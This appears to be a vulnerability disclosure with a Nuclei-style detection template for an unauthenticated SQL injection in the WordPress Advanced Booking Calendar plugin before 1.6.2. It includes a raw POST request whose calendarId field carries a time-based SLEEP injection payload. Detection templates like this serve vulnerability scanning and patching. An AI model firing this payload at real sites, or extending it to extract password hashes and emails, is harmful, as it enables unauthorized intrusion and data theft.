The AJAX action abc_booking_getBookingResult, available to both authenticated and Unauthenticated users did not sanitise the calendarId parameter which was then concatenated to a SQL statement, leading an unauthenticated SQL injection issue. This could be used to retrieve information from the database, such as users' hashed password, username and email address.
PoC
id: advanced-booking-calendar-sqli
info:
name: Advanced Booking Calendar < 1.6.2 - SQL Injection
author: theamanrawat
severity: critical
description: |
The AJAX action abc_booking_getBookingResult, available to both authenticated and Unauthenticated users did not sanitise the calendarId parameter which was then concatenated to a SQL statement, leading an unauthenticated SQL injection issue. This could be used to retrieve information from the database, such as users' hashed password, username and email address.
remediation: Fixed in version 1.6.2
reference:
- https://wpscan.com/vulnerability/bac7b590-70de-45b3-bdc2-19f90524ca39
- https://wordpress.org/plugins/advanced-booking-calendar/
classification:
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
tags: time-based-sqli,sqli,wpscan,wordpress,wp-plugin,wp,advanced-booking-calendar,unauthenticated,vuln
http:
- raw:
- |
@timeout: 10s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
calendarId=1)+AND+(SELECT+2065+FROM+(SELECT(SLEEP(6)))jtGw)+AND+(5440=5440&from=2010-05-05&to=2010-05-09&action=abc_booking_getBookingResult
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "abc-result-header")'
condition: and
# digest: 490a0046304402203db9ea4a41a4789a09b0b3c6dbf841a08ca74a8038b6021c834408b02501f72402201f4248dc9b1766d527ff5d64f4eccfbac976c56dc37586a8a47e55eeb2cfa274:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.